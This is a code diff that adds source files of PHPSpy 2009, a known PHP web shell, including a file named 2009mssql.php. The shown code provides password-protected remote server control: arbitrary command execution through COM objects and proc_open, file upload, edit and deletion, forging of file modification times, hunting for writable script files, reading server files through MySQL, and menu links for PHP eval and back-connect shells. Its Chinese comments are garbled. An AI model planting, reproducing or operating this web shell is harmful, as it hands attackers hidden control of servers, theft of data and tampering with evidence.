×Ô¶¨Òåʱ¼ä + elseif ($curfile && $year && $month && $day && $hour && $minute && $second) { + if (!@file_exists($curfile)) { + m(basename($curfile).' does not exist'); + } else { + $time = strtotime("$year-$month-$day $hour:$minute:$second"); + m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); + } + } + + // ÅúÁ¿É¾³ýÎļþ + elseif($doing == 'delfiles') { + if ($dl) { + $dfiles=''; + $succ = $fail = 0; + foreach ($dl as $filepath => $value) { + if (@unlink($filepath)) { + $succ++; + } else { + $fail++; + } + } + m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail); + } else { + m('Please select file(s)'); + } + } + + //²Ù×÷Íê±Ï + formhead(array('name'=>'createdir')); + makehide('newdirname'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'fileperm')); + makehide('newperm'); + makehide('pfile'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'copyfile')); + makehide('sname'); + makehide('tofile'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'rename')); + makehide('oldname'); + makehide('newfilename'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'fileopform', 'target'=>'_blank')); + makehide('action'); + makehide('opfile'); + makehide('dir'); + formfoot(); + formhead(array('name'=>'getsize')); + makehide('getdir'); + makehide('dir'); + formfoot(); + + $free = @disk_free_space($nowpath); + !$free && $free = 0; + $all = @disk_total_space($nowpath); + !$all && $all = 0; + $used = $all-$free; + $used_percent = @round(100/($all/$free),2); + p('

File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)

'); + +?> + + + + + + + + +
Current Directory (, )
+ +
'); + p('
'); + p('WebRoot'); + p(' | ScriptPath'); + p(' | View All'); + p(' | View Writable ( Directory'); + p(' | File )'); + p(' | Create Directory | Create File'); + if (IS_WIN && IS_COM) { + $obj = new COM('scripting.filesystemobject'); + if ($obj && is_object($obj) && is_array($obj->Drives)) { + $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk'); + foreach($obj->Drives as $drive) { + if ($drive->DriveType == 2) { + p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); + } else { + p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); + } + } + } + } + + p('
 FilenameLast modifiedSizeChmod / PermsAction
 '.$dirdb['filename'].''.$dirdb['mtime'].''.$attachsize.''); + p(''.$dirdb['dirchmod'].' / '); + p(''.$dirdb['dirperm'].''.$dirdb['fileowner'].'Del | Rename
=Parent Directory
'.$filedb['filename'].''.$filedb['mtime'].''.$filedb['size'].''); + p(''.$filedb['filechmod'].' / '); + p(''.$filedb['fileperm'].''.$filedb['fileowner'].''); + p('Down | '); + p('Copy | '); + p('Edit | '); + p('Rename | '); + p('Time'); + p('
Delete selected'.$dir_i.' directories / '.$file_i.' files
'); +}// end dir + +elseif ($action == 'editfile') { + if(file_exists($opfile)) { + $fp=@fopen($opfile,'r'); + $contents=@fread($fp, filesize($opfile)); + @fclose($fp); + $contents=htmlspecialchars($contents); + } + formhead(array('title'=>'Create / Edit File')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1)); + maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents)); + formfooter(); + + goback(); + +}//end editfile + +elseif ($action == 'newtime') { + $opfilemtime = @filemtime($opfile); + //$time = strtotime("$year-$month-$day $hour:$minute:$second"); + $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); + formhead(array('title'=>'Clone file was last modified time')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); + makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1)); + formfooter(); + formhead(array('title'=>'Set last modified')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); + p('

Instead »'); + p('year:'); + makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4)); + p('month:'); + makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2)); + p('day:'); + makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2)); + p('hour:'); + makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2)); + p('minute:'); + makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2)); + p('second:'); + makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2)); + p('

'); + formfooter(); + goback(); +}//end newtime + +elseif ($action == 'shell') { + if (IS_WIN && IS_COM) { + if($program && $parameter) { + $shell= new COM('Shell.Application'); + $a = $shell->ShellExecute($program,$parameter); + m('Program run has '.(!$a ? 'success' : 'fail')); + } + !$program && $program = 'c:\windows\system32\cmd.exe'; + !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt'; + formhead(array('title'=>'Execute Program')); + makehide('action','shell'); + makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1)); + p('

'); + makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter)); + makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); + p('

'); + formfoot(); + } + formhead(array('title'=>'Execute Command')); + makehide('action','shell'); + if (IS_WIN && IS_COM) { + $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open'); + makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1)); + } + p('

'); + makeinput(array('title'=>'Command','name'=>'command','value'=>htmlspecialchars($command))); + makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); + p('

'); + formfoot(); + + if ($command) { + p('
');
+		if ($execfunc=='wscript' && IS_WIN && IS_COM) {
+			$wsh = new COM('WScript.shell');
+			$exec = $wsh->exec('cmd.exe /c '.$command);
+			$stdout = $exec->StdOut();
+			$stroutput = $stdout->ReadAll();
+			echo $stroutput;
+		} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
+			$descriptorspec = array(
+			   0 => array('pipe', 'r'),
+			   1 => array('pipe', 'w'),
+			   2 => array('pipe', 'w')
+			);
+			$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
+			if (is_resource($process)) {
+				fwrite($pipes[0], $command."\r\n");
+				fwrite($pipes[0], "exit\r\n");
+				fclose($pipes[0]);
+				while (!feof($pipes[1])) {
+					echo fgets($pipes[1], 1024);
+				}
+				fclose($pipes[1]);
+				while (!feof($pipes[2])) {
+					echo fgets($pipes[2], 1024);
+				}
+				fclose($pipes[2]);
+				proc_close($process);
+			}
+		} else {
+			echo(execute($command));
+		}
+		p('
'); + } +}//end shell + +elseif ($action == 'phpenv') { + $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'; + $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'); + !$dis_func && $dis_func = 'No'; + $info = array( + 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)), + 2 => array('Server Domain',$_SERVER['SERVER_NAME']), + 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])), + 4 => array('Server OS',PHP_OS), + 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']), + 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']), + 7 => array('Server Web Port',$_SERVER['SERVER_PORT']), + 8 => array('PHP run mode',strtoupper(php_sapi_name())), + 9 => array('The file path',__FILE__), + + 10 => array('PHP Version',PHP_VERSION), + 11 => array('PHPINFO',(IS_PHPINFO ? 'Yes' : 'No')), + 12 => array('Safe Mode',getcfg('safe_mode')), + 13 => array('Administrator',$adminmail), + 14 => array('allow_url_fopen',getcfg('allow_url_fopen')), + 15 => array('enable_dl',getcfg('enable_dl')), + 16 => array('display_errors',getcfg('display_errors')), + 17 => array('register_globals',getcfg('register_globals')), + 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')), + 19 => array('memory_limit',getcfg('memory_limit')), + 20 => array('post_max_size',getcfg('post_max_size')), + 21 => array('upload_max_filesize',$upsize), + 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'), + 23 => array('disable_functions',$dis_func), + ); + + if($phpvarname) { + m($phpvarname .' : '.getcfg($phpvarname)); + } + + formhead(array('title'=>'Server environment')); + makehide('action','phpenv'); + makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1)); + formfooter(); + + $hp = array(0=> 'Server', 1=> 'PHP'); + for($a=0;$a<2;$a++) { + p('

'.$hp[$a].' »

'); + p(''); + } +}//end phpenv + +else { + m('Undefined Action'); +} + +?> + +
+ + Copyright (C) 2004-2009 Security Angel Team [S4T] All Rights Reserved. +
+ + + +'; + echo $msg; + echo ''; +} +function scookie($key, $value, $life = 0, $prefix = 1) { + global $admin, $timestamp, $_SERVER; + $key = ($prefix ? $admin['cookiepre'] : '').$key; + $life = $life ? $life : $admin['cookielife']; + $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0; + setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport); +} +// µÇ½Èë¿Ú +function loginpage() { +?> + +
+ Password: + + +
+ $v) { + $array[$k] = s_array($v); + } + } else if (is_string($array)) { + $array = stripslashes($array); + } + return $array; +} + +// Çå³ýHTML´úÂë +function html_clean($content) { + $content = htmlspecialchars($content); + $content = str_replace("\n", "
", $content); + $content = str_replace(" ", "  ", $content); + $content = str_replace("\t", "    ", $content); + return $content; +} + +// »ñȡȨÏÞ +function getChmod($filepath){ + return substr(base_convert(@fileperms($filepath),10,8),-4); +} + +function getPerms($filepath) { + $mode = @fileperms($filepath); + if (($mode & 0xC000) === 0xC000) {$type = 's';} + elseif (($mode & 0x4000) === 0x4000) {$type = 'd';} + elseif (($mode & 0xA000) === 0xA000) {$type = 'l';} + elseif (($mode & 0x8000) === 0x8000) {$type = '-';} + elseif (($mode & 0x6000) === 0x6000) {$type = 'b';} + elseif (($mode & 0x2000) === 0x2000) {$type = 'c';} + elseif (($mode & 0x1000) === 0x1000) {$type = 'p';} + else {$type = '?';} + + $owner['read'] = ($mode & 00400) ? 'r' : '-'; + $owner['write'] = ($mode & 00200) ? 'w' : '-'; + $owner['execute'] = ($mode & 00100) ? 'x' : '-'; + $group['read'] = ($mode & 00040) ? 'r' : '-'; + $group['write'] = ($mode & 00020) ? 'w' : '-'; + $group['execute'] = ($mode & 00010) ? 'x' : '-'; + $world['read'] = ($mode & 00004) ? 'r' : '-'; + $world['write'] = ($mode & 00002) ? 'w' : '-'; + $world['execute'] = ($mode & 00001) ? 'x' : '-'; + + if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';} + if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';} + if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';} + + return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute']; +} + +function getUser($filepath) { + if (function_exists('posix_getpwuid')) { + $array = @posix_getpwuid(@fileowner($filepath)); + if ($array && is_array($array)) { + return ' / '.$array['name'].''; + } + } + return ''; +} + +// ɾ³ýĿ¼ +function deltree($deldir) { + $mydir=@dir($deldir); + while($file=$mydir->read()) { + if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { + @chmod($deldir.'/'.$file,0777); + deltree($deldir.'/'.$file); + } + if (is_file($deldir.'/'.$file)) { + @chmod($deldir.'/'.$file,0777); + @unlink($deldir.'/'.$file); + } + } + $mydir->close(); + @chmod($deldir,0777); + return @rmdir($deldir) ? 1 : 0; +} + +// ±í¸ñÐмäµÄ±³¾°É«Ìæ»» +function bg() { + global $bgc; + return ($bgc++%2==0) ? 'alt1' : 'alt2'; +} + +// »ñÈ¡µ±Ç°µÄÎļþϵͳ·¾¶ +function getPath($scriptpath, $nowpath) { + if ($nowpath == '.') { + $nowpath = $scriptpath; + } + $nowpath = str_replace('\\', '/', $nowpath); + $nowpath = str_replace('//', '/', $nowpath); + if (substr($nowpath, -1) != '/') { + $nowpath = $nowpath.'/'; + } + return $nowpath; +} + +// »ñÈ¡µ±Ç°Ä¿Â¼µÄÉϼ¶Ä¿Â¼ +function getUpPath($nowpath) { + $pathdb = explode('/', $nowpath); + $num = count($pathdb); + if ($num > 2) { + unset($pathdb[$num-1],$pathdb[$num-2]); + } + $uppath = implode('/', $pathdb).'/'; + $uppath = str_replace('//', '/', $uppath); + return $uppath; +} + +// ¼ì²éPHPÅäÖòÎÊý +function getcfg($varname) { + $result = get_cfg_var($varname); + if ($result == 0) { + return 'No'; + } elseif ($result == 1) { + return 'Yes'; + } else { + return $result; + } +} + +// ¼ì²éº¯ÊýÇé¿ö +function getfun($funName) { + return (false !== function_exists($funName)) ? 'Yes' : 'No'; +} + +// »ñµÃÎļþÀ©Õ¹Ãû +function getextension($filename) { + $pathinfo = pathinfo($filename); + return $pathinfo['extension']; +} + +function GetWDirList($dir){ + global $dirdata,$j,$nowpath; + !$j && $j=1; + if ($dh = opendir($dir)) { + while ($file = readdir($dh)) { + $f=str_replace('//','/',$dir.'/'.$file); + if($file!='.' && $file!='..' && is_dir($f)){ + if (is_writable($f)) { + $dirdata[$j]['filename']=str_replace($nowpath,'',$f); + $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); + $dirdata[$j]['dirchmod']=getChmod($f); + $dirdata[$j]['dirperm']=getPerms($f); + $dirdata[$j]['dirlink']=ue($dir); + $dirdata[$j]['server_link']=$f; + $dirdata[$j]['client_link']=ue($f); + $j++; + } + GetWDirList($f); + } + } + closedir($dh); + clearstatcache(); + return $dirdata; + } else { + return array(); + } +} + +function GetWFileList($dir){ + global $filedata,$j,$nowpath; + !$j && $j=1; + if ($dh = opendir($dir)) { + while ($file = readdir($dh)) { + $ext = getextension($file); + $f=str_replace('//','/',$dir.'/'.$file); + if($file!='.' && $file!='..' && is_dir($f)){ + GetWFileList($f); + } elseif($file!='.' && $file!='..' && is_file($f)){ + if (is_writable($f)) { + $filedata[$j]['filename']=str_replace($nowpath,'',$f); + $filedata[$j]['size']=sizecount(@filesize($f)); + $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); + $filedata[$j]['filechmod']=getChmod($f); + $filedata[$j]['fileperm']=getPerms($f); + $filedata[$j]['fileowner']=getUser($f); + $filedata[$j]['dirlink']=$dir; + $filedata[$j]['server_link']=$f; + $filedata[$j]['client_link']=ue($f); + $j++; + } + } + } + closedir($dh); + clearstatcache(); + return $filedata; + } else { + return array(); + } +} + +function sizecount($size) { + if($size > 1073741824) { + $size = round($size / 1073741824 * 100) / 100 . ' G'; + } elseif($size > 1048576) { + $size = round($size / 1048576 * 100) / 100 . ' M'; + } elseif($size > 1024) { + $size = round($size / 1024 * 100) / 100 . ' K'; + } else { + $size = $size . ' B'; + } + return $size; +} + +function ue($str){ + return urlencode($str); +} + +function p($str){ + echo $str."\n"; +} + +function tbhead() { + p(''); +} +function tbfoot(){ + p('
'); +} + +function makehide($name,$value=''){ + p(""); +} + +function makeinput($arg = array()){ + $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\""; + $arg['extra'] = $arg['extra'] ? $arg['extra'] : ''; + !$arg['type'] && $arg['type'] = 'text'; + $arg['title'] = $arg['title'] ? $arg['title'].'
' : ''; + $arg['class'] = $arg['class'] ? $arg['class'] : 'input'; + if ($arg['newline']) { + p("

$arg[title]

"); + } else { + p("$arg[title]"); + } +} + +function makeselect($arg = array()){ + if ($arg['onchange']) { + $onchange = 'onchange="'.$arg['onchange'].'"'; + } + $arg['title'] = $arg['title'] ? $arg['title'] : ''; + if ($arg['newline']) p('

'); + p("$arg[title] "); + if ($arg['newline']) p('

'); +} +function formhead($arg = array()) { + global $self; + !$arg['method'] && $arg['method'] = 'post'; + !$arg['action'] && $arg['action'] = $self; + $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : ''; + !$arg['name'] && $arg['name'] = 'form1'; + p("
"); + if ($arg['title']) { + p('

'.$arg['title'].' »

'); + } +} + +function maketext($arg = array()){ + !$arg['cols'] && $arg['cols'] = 100; + !$arg['rows'] && $arg['rows'] = 25; + $arg['title'] = $arg['title'] ? $arg['title'].'
' : ''; + p("

$arg[title]

"); +} + +function formfooter($name = ''){ + !$name && $name = 'submit'; + p('

'); + p('
'); +} + +function goback(){ + global $self, $nowpath; + p('

'); +} + +function formfoot(){ + p(''); +} + +// µ÷ÊÔº¯Êý +function pr($a) { + echo '
';
+	print_r($a);
+	echo '
'; +} + +?> \ No newline at end of file diff --git a/php/phpspy/2009mssql.php b/php/phpspy/2009mssql.php new file mode 100644 index 0000000..d28a844 --- /dev/null +++ b/php/phpspy/2009mssql.php @@ -0,0 +1,2723 @@ + $_value) { + if ($_key{0} != '_') { + if (IS_GPC) { + $_value = s_array($_value); + } + $$_key = $_value; + } + } +} +/*===================== ³ÌÐòÅäÖà =====================*/ +$admin = array(); +// ÊÇ·ñÐèÒªÃÜÂëÑéÖ¤, true ΪÐèÒªÑéÖ¤, false Ϊֱ½Ó½øÈë.ÏÂÃæÑ¡ÏîÔòÎÞЧ +$admin['check'] = true; +// Èç¹ûÐèÒªÃÜÂëÑéÖ¤,ÇëÐ޸ĵǽÃÜÂë +$admin['pass'] = 'f4f068e71e0d87bf0ad51e6214ab84e9'; //angel + +//ÈçÄú¶Ô cookie ×÷Ó÷¶Î§ÓÐÌØÊâÒªÇó, »òµÇ¼²»Õý³£, ÇëÐÞ¸ÄÏÂÃæ±äÁ¿, ·ñÔòÇë±£³ÖĬÈÏ +// cookie ǰ׺ +$admin['cookiepre'] = ''; +// cookie ×÷ÓÃÓò +$admin['cookiedomain'] = ''; +// cookie ×÷Ó÷¾¶ +$admin['cookiepath'] = '/'; +// cookie ÓÐЧÆÚ +$admin['cookielife'] = 86400; + +//³ÌÐòËÑË÷¿ÉдÎļþµÄÀàÐÍ +!$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp'; +/*===================== ÅäÖýáÊø =====================*/ + +$charsetdb = array( + 'armscii8', + 'ascii', + 'big5', + 'binary', + 'cp1250', + 'cp1251', + 'cp1256', + 'cp1257', + 'cp850', + 'cp852', + 'cp866', + 'cp932', + 'dec8', + 'eucjpms', + 'euckr', + 'gb2312', + 'gbk', + 'geostd8', + 'greek', + 'hebrew', + 'hp8', + 'keybcs2', + 'koi8r', + 'koi8u', + 'latin1', + 'latin2', + 'latin5', + 'latin7', + 'macce', + 'macroman', + 'sjis', + 'swe7', + 'tis620', + 'ucs2', + 'ujis', + 'utf8' +); +if ($charset == 'utf8') { + header("content-Type: text/html; charset=utf-8"); +} elseif ($charset == 'big5') { + header("content-Type: text/html; charset=big5"); +} elseif ($charset == 'gbk') { + header("content-Type: text/html; charset=gbk"); +} elseif ($charset == 'latin1') { + header("content-Type: text/html; charset=iso-8859-2"); +} elseif ($charset == 'euckr') { + header("content-Type: text/html; charset=euc-kr"); +} elseif ($charset == 'eucjpms') { + header("content-Type: text/html; charset=euc-jp"); +} + +$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; +$timestamp = time(); + +/*===================== Éí·ÝÑéÖ¤ =====================*/ +if ($action == "logout") { + scookie('loginpass', '', -86400 * 365); + p(''); + p('Success'); + exit; +} +if($admin['check']) { + if ($doing == 'login') { + if ($admin['pass'] == md5($password)) { + scookie('loginpass', md5($password)); + p(''); + p('Success'); + exit; + } + } + if ($_COOKIE['loginpass']) { + if ($_COOKIE['loginpass'] != $admin['pass']) { + loginpage(); + } + } else { + loginpage(); + } +} +/*===================== ÑéÖ¤½áÊø =====================*/ + +$errmsg = ''; + +// ²é¿´PHPINFO +if ($action == 'phpinfo') { + if (IS_PHPINFO) { + phpinfo(); + exit; + } else { + $errmsg = 'phpinfo() function has non-permissible'; + } +} + +// ÏÂÔØÎļþ +if ($doing == 'downfile' && $thefile) { + if (!@file_exists($thefile)) { + $errmsg = 'The file you want Downloadable was nonexistent'; + } else { + $fileinfo = pathinfo($thefile); + header('Content-type: application/x-'.$fileinfo['extension']); + header('Content-Disposition: attachment; filename='.$fileinfo['basename']); + header('Content-Length: '.filesize($thefile)); + @readfile($thefile); + exit; + } +} + +// Ö±½ÓÏÂÔØ±¸·ÝÊý¾Ý¿â +if ($doing == 'backupmysql' && !$saveasfile) { + mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); + $table = array_flip($table); + $result = q("SHOW tables"); + if (!$result) p('

'.mysql_error().'

'); + $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql'); + header('Content-type: application/unknown'); + header('Content-Disposition: attachment; filename='.$filename); + $mysqldata = ''; + while ($currow = mysql_fetch_array($result)) { + if (isset($table[$currow[0]])) { + $mysqldata .= sqldumptable($currow[0]); + } + } + mysql_close(); + exit; +} + +// ͨ¹ýMYSQLÏÂÔØÎļþ +if($doing=='mysqldown'){ + if (!$dbname) { + $errmsg = 'Please input dbname'; + } else { + mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); + if (!file_exists($mysqldlfile)) { + $errmsg = 'The file you want Downloadable was nonexistent'; + } else { + $result = q("select load_file('$mysqldlfile');"); + if(!$result){ + q("DROP TABLE IF EXISTS tmp_angel;"); + q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);"); + //ÓÃʱ¼ä´ÁÀ´±íʾ½Ø¶Ï,±ÜÃâ³öÏÖ¶ÁÈ¡×ÔÉí»ò°üº¬__angel_1111111111_eof__µÄÎļþʱ²»ÍêÕûµÄÇé¿ö + q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';"); + $result = q("select content from tmp_angel"); + q("DROP TABLE tmp_angel"); + } + $row = @mysql_fetch_array($result); + if (!$row) { + $errmsg = 'Load file failed '.mysql_error(); + } else { + $fileinfo = pathinfo($mysqldlfile); + header('Content-type: application/x-'.$fileinfo['extension']); + header('Content-Disposition: attachment; filename='.$fileinfo['basename']); + header("Accept-Length: ".strlen($row[0])); + echo $row[0]; + exit; + } + } + } +} + +?> + + + +<?php echo str_replace('.','','P.h.p.S.p.y');?> + + + + + + + + + + + +
Ver: 2009 Build 20081222 ()
Safe Mode: + Logout | + File Manager | + MYSQL Manager | + MSSQL Manager | + MySQL Upload & Download | + Execute Command | + PHP Variable | + Eval PHP Code + | Back Connect +
+'); + + p(''); + + //²é¿´ËùÓпÉдÎļþºÍĿ¼ + $dirdata=array(); + $filedata=array(); + + if ($view_writable == 'dir') { + $dirdata = GetWDirList($nowpath); + $filedata = array(); + } elseif ($view_writable == 'file') { + $dirdata = array(); + $filedata = GetWFileList($nowpath); + } elseif ($findstr) { + $dirdata = array(); + $filedata = GetSFileList($nowpath, $findstr, $re); + } else { + // Ŀ¼Áбí + $dirs=@opendir($dir); + while ($file=@readdir($dirs)) { + $filepath=$nowpath.$file; + if(@is_dir($filepath)){ + $dirdb['filename']=$file; + $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); + $dirdb['dirchmod']=getChmod($filepath); + $dirdb['dirperm']=getPerms($filepath); + $dirdb['fileowner']=getUser($filepath); + $dirdb['dirlink']=$nowpath; + $dirdb['server_link']=$filepath; + $dirdb['client_link']=ue($filepath); + $dirdata[]=$dirdb; + } else { + $filedb['filename']=$file; + $filedb['size']=sizecount(@filesize($filepath)); + $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); + $filedb['filechmod']=getChmod($filepath); + $filedb['fileperm']=getPerms($filepath); + $filedb['fileowner']=getUser($filepath); + $filedb['dirlink']=$nowpath; + $filedb['server_link']=$filepath; + $filedb['client_link']=ue($filepath); + $filedata[]=$filedb; + } + }// while + unset($dirdb); + unset($filedb); + @closedir($dirs); + } + @sort($dirdata); + @sort($filedata); + $dir_i = '0'; + + foreach($dirdata as $key => $dirdb){ + if($dirdb['filename']!='..' && $dirdb['filename']!='.') { + if($getdir && $getdir == $dirdb['server_link']) { + $attachsize = dirsize($dirdb['server_link']); + $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown'; + } else { + $attachsize = 'Stat'; + } + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + $dir_i++; + } else { + if($dirdb['filename']=='..') { + p(''); + p(''); + p(''); + } + } + } + + p(''); + p(''); + makehide('action','file'); + makehide('thefile'); + makehide('doing'); + makehide('dir',$nowpath); + $file_i = '0'; + + foreach($filedata as $key => $filedb){ + if($filedb['filename']!='..' && $filedb['filename']!='.') { + $fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']); + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + $file_i++; + } + } + p(''); + p('
+'goaction')); +makehide('action'); +formfoot(); + +$errmsg && m($errmsg); + +// »ñÈ¡µ±Ç°Â·¾¶ +if (!$dir) { + if ($_SERVER["DOCUMENT_ROOT"]) { + $dir = $_SERVER["DOCUMENT_ROOT"]; + } else { + $dir = '.'; + } +} + +$nowpath = getPath(SA_ROOT, $dir); +if (substr($dir, -1) != '/') { + $dir = $dir.'/'; +} +$uedir = ue($dir); + +if (!$action || $action == 'file') { + + // Åж϶ÁдÇé¿ö + $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable'; + + // ɾ³ýĿ¼ + if ($doing == 'deldir' && $thefile) { + if (!file_exists($thefile)) { + m($thefile.' directory does not exist'); + } else { + m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed')); + } + } + + // ´´½¨Ä¿Â¼ + elseif ($newdirname) { + $mkdirs = $nowpath.$newdirname; + if (file_exists($mkdirs)) { + m('Directory has already existed'); + } else { + m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed')); + @chmod($mkdirs,0777); + } + } + + // ÉÏ´«Îļþ + elseif ($doupfile) { + m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed')); + } + + // ±à¼­Îļþ + elseif ($editfilename && $filecontent) { + $fp = @fopen($editfilename,'w'); + m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed')); + @fclose($fp); + } + + // ±à¼­ÎļþÊôÐÔ + elseif ($pfile && $newperm) { + if (!file_exists($pfile)) { + m('The original file does not exist'); + } else { + $newperm = base_convert($newperm,8,10); + m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed')); + } + } + + // ¸ÄÃû + elseif ($oldname && $newfilename) { + $nname = $nowpath.$newfilename; + if (file_exists($nname) || !file_exists($oldname)) { + m($nname.' has already existed or original file does not exist'); + } else { + m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed')); + } + } + + // ¸´ÖÆÎļþ + elseif ($sname && $tofile) { + if (file_exists($tofile) || !file_exists($sname)) { + m('The goal file has already existed or original file does not exist'); + } else { + m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed')); + } + } + + // ¿Ë¡ʱ¼ä + elseif ($curfile && $tarfile) { + if (!@file_exists($curfile) || !@file_exists($tarfile)) { + m('The goal file has already existed or original file does not exist'); + } else { + $time = @filemtime($tarfile); + m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); + } + } + + // ×Ô¶¨Òåʱ¼ä + elseif ($curfile && $year && $month && $day && $hour && $minute && $second) { + if (!@file_exists($curfile)) { + m(basename($curfile).' does not exist'); + } else { + $time = strtotime("$year-$month-$day $hour:$minute:$second"); + m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); + } + } + + // ´ò°üÏÂÔØ + elseif($doing == 'downrar') { + if ($dl) { + $dfiles=''; + foreach ($dl as $filepath => $value) { + $dfiles.=$filepath.','; + } + $dfiles=substr($dfiles,0,strlen($dfiles)-1); + $dl=explode(',',$dfiles); + $zip=new PHPZip($dl); + $code=$zip->out; + header('Content-type: application/octet-stream'); + header('Accept-Ranges: bytes'); + header('Accept-Length: '.strlen($code)); + header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz'); + echo $code; + exit; + } else { + m('Please select file(s)'); + } + } + + // ÅúÁ¿É¾³ýÎļþ + elseif($doing == 'delfiles') { + if ($dl) { + $dfiles=''; + $succ = $fail = 0; + foreach ($dl as $filepath => $value) { + if (@unlink($filepath)) { + $succ++; + } else { + $fail++; + } + } + m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail); + } else { + m('Please select file(s)'); + } + } + + //²Ù×÷Íê±Ï + formhead(array('name'=>'createdir')); + makehide('newdirname'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'fileperm')); + makehide('newperm'); + makehide('pfile'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'copyfile')); + makehide('sname'); + makehide('tofile'); + 